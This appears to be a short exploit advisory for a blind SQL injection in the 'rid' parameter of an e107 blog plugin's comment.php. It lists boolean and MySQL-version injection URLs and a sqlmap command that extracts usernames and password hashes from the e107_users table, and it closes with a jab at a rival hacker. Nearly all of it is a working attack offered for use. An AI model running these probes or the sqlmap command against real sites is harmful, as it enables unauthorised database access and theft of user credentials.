[+] Exploit:
http://site.com/e107_plugins/macgurublog_menu/comment.php?rid=1 and 1=1-- // returns no errors
http://site.com/e107_plugins/macgurublog_menu/comment.php?rid=1 and 1=2-- // returns error about unknown entry
http://site.com/e107_plugins/macgurublog_menu/comment.php?rid=1 and substring(@@version,1,1)=4 // check the mysql version. if 4 returns error, try 5.
Since e107 uses diffrent table names it's almost impossible to write exploit for it. So I am suggesting to use sqlmap to use this vulnerabilty.
The command like should look like this:
./sqlmap.py -u "URL" -p rid -a "./txt/user-agents.txt" -v1 --string "string which proofs the query is valid" -e "sql query"
Example:
./sqlmap.py -u "http://site.com/e107_plugins/macgurublog_menu/comment.php?rid=1" -p rid -a "./txt/user-agents.txt" -v1 --string "Saime" -e "<SELECT concat(username,0x3a,password) from e107_users where userid=1 limit 0,1>"

[+] Notes: Not to Turkish Warrior, good job on leaking CipherCrew exploits and submiting them as your own dumbass! ;)
